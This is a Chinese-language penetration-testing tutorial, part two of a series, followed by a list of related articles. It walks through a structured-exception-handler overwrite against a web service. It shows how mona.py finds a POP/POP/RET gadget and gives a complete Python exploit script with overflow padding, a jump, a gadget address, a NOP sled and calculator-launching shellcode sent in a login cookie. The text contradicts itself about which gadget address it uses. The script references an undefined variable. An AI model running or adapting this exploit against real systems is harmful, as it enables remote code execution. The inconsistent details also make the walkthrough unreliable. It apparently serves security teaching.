Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

简介: Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

接上文 基于结构化异常处理的渗透-使用Python编写渗透模块(一)https://developer.aliyun.com/article/1618639

1.2.2 查找POP/POP/RET指令的地址
现在需要从一个外部的DLL文件载入一个地址,而且是一个没有被SafeSEH保护的DLL文件的POP/POP/RET指令地址。Mona.py是一个由Python编写的用于Immunity Debugger的插件,它提供了大量用于渗透的功能。在Immunity Debugger最下面的长条框里输入命令!mona module,如下图所示:

image.png
image.png

要查找POP/POP/RET指令,需要使用!mona rop命令。如下图所示:

image.png

这个命令执行的结果是生成,C:\Program Files\ImmunityInc\Immunity Debugger\rop.txt文件,这个镜像文件的格式如下图所示:

image.png

注意:虽然找到了很多DLL文件,但是并非所有的DLL文件都可以使用,只有其中不受SafeSEH机制保护的才可以使用,也就是表中SafeSEH列值为False的。另外,我们要在这些文件中查找POP/POP/RET指令的相关地址。从上图中可以看到第一个ImageLoad.dll就是一个不受SafeSEH机制保护的DLL文件。现在我们需要做的就是在这个文件中找到一条POP/POP/RET指令和它的地址。Immunity Debugger中的Mona.py已经找出了这些POP/POP/RET指令,如下图所示:

image.png

从图中选择0x10017743作为要使用的POP/POP/RET指令地址,这条记录完整的内如下:

0x10017743 : # POP EBP #  POP EBX 3 RETN     ** [ImageLoad.dll] **     | ascii{
   PAGE_EXECUTE_READ}

我们将会使用0x10019798作为POP/POP/RET指令的地址。现在已经有了两个可以用来编写渗透模块的重要组件,一个偏移量,另一个是用来载入catch块的地址,也就是POP/POP/RET指令的地址。

1.3 使用Python编写渗透模块
定义发往目标服务器的数据,包括如下几个部分:

  • 导致目标服务溢出的字符(4059个“A”)
  • Payload = “A” * 4059
  • 实现跳转的指令(“\xeb\x06\x90\x90”)
  • buff += “\xeb\x06\x90\x90”
  • POP/POP/RET指令地址
  • buff += “\x43\x77\x01\x10”
  • 用来实现空指令滑行的代码,作用就是在跳转地址和Shellcode之间设置一个滑行区域,这个区域使用空指令填充,从而避免Shellcode中的代码不能正常执行,在此处添加30、40、50个空指令都可以使代码滑行到Shellcode部分(这个数值通过测试得到)。空指令的数量太少会崩溃,太多会死机:
  • Payload += “\x90” * 40
  • 用来在目标主机上实现特定功能的代码,在很多地方可以找到这种代码,另外Kali 中也提供了这种工具,下面是一代码的作用就是启动Windows系统下的计算器。
  • 构造一个发往目标主机的数据包,参照1.2中的内容:
  • cookies = dict(SESSIONID=‘28740’, UserID=buff, PassWD=‘abcdefg’)
  • data=dict(frmLogin=True, frmUserName=‘123’, frmUserPass=‘abcdefg’, login=‘Login’)
  • requests.post(‘http://’+host+‘:’+str(port)+‘/forum.ghp’, cookies=cookies,data=data)

使用socket将这个数据包发送出去:

requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)

完整的程序如下所示:

import requests
host = '192.168.68.129'
port = 80
shellcode=( '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd')  #这是一段可以在windows 7中国启动计算器的代码
buff = 'A' * 4059
buff += '\xeb\x06\x90\x90'
buff += '\x43\x77\x01\x10'
buff += '\x90' * 40
buff += shellcode
buff += 'C' * 50
cookies = dict(SESSIONID='28740', UserID=buff, PassWD='abcdefg')
requests.post('http://'+host+':'+str(port)+'/forum.ghp', cookies=cookies,data=data)

image.png

执行这段程序以后,在目标主机查看反应,结果如下图所示:
image.png

相关文章
|
5月前
|
SQL 安全 测试技术
『渗透测试基础』| 什么是渗透测试?有哪些常用方法?如何开展?测试工具有哪些?优势在哪里?
『渗透测试基础』| 什么是渗透测试?有哪些常用方法?如何开展?测试工具有哪些?优势在哪里?
331 0
|
1天前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
10 2
|
1天前
|
安全 网络安全 数据安全/隐私保护
Python渗透测试之流量分析:流量嗅探工具编程
Python渗透测试之流量分析:流量嗅探工具编程
10 0
|
2月前
|
安全 网络安全 开发者
探索Python中的装饰器:简化代码,增强功能网络安全与信息安全:从漏洞到防护
【8月更文挑战第30天】本文通过深入浅出的方式介绍了Python中装饰器的概念、用法和高级应用。我们将从基础的装饰器定义开始,逐步深入到如何利用装饰器来改进代码结构,最后探讨其在Web框架中的应用。适合有一定Python基础的开发者阅读,旨在帮助读者更好地理解并运用装饰器来优化他们的代码。
|
5月前
|
JSON 监控 数据安全/隐私保护
如何利用Python编写公司计算机监控软件的基本功能
在现代企业环境中,监控公司计算机的活动是至关重要的。它可以帮助企业保护数据安全、确保员工遵守公司政策以及提高整体网络性能。为了实现这一目标,我们可以利用Python编写一个简单而强大的公司计算机监控软件,来跟踪关键活动并自动处理收集到的数据。
168 2
|
SQL 安全 JavaScript
渗透测试之分享常用工具、插件和脚本(干货)
渗透测试之分享常用工具、插件和脚本(干货)
渗透测试之分享常用工具、插件和脚本(干货)
|
Python
【python学习小案例】提升兴趣之模拟系统入侵
【python学习小案例】提升兴趣之模拟系统入侵
【python学习小案例】提升兴趣之模拟系统入侵
|
存储 编解码 安全
神操作:教你用Python识别恶意软件
在本文中,我们将介绍恶意软件静态分析的基础知识。静态分析是对程序文件的反汇编代码、图形图像、可打印字符串和其他磁盘资源进行分析,是一种不需要实际运行程序的逆向工程。虽然静态分析技术有欠缺之处,但是它可以帮助我们理解各种各样的恶意软件。
|
安全 Windows 数据库
带你读《从实践中学习Metasploit 5渗透测试》之二:获取漏洞信息
本书基于Metasploit的5.0版,首先系统地讲解了各个平台下的环境构建方式;然后按照渗透测试流程,依次讲解了Metasploit在漏洞获取、项目准备和实施攻击环节的使用方式。 接着借鉴了专业渗透测试规范,专门介绍了如何使用Metasploit的工作区进行渗透测试项目的管理和信息维护;最后基于Windows、Linux和Android系统讲解典型模块的应用方式。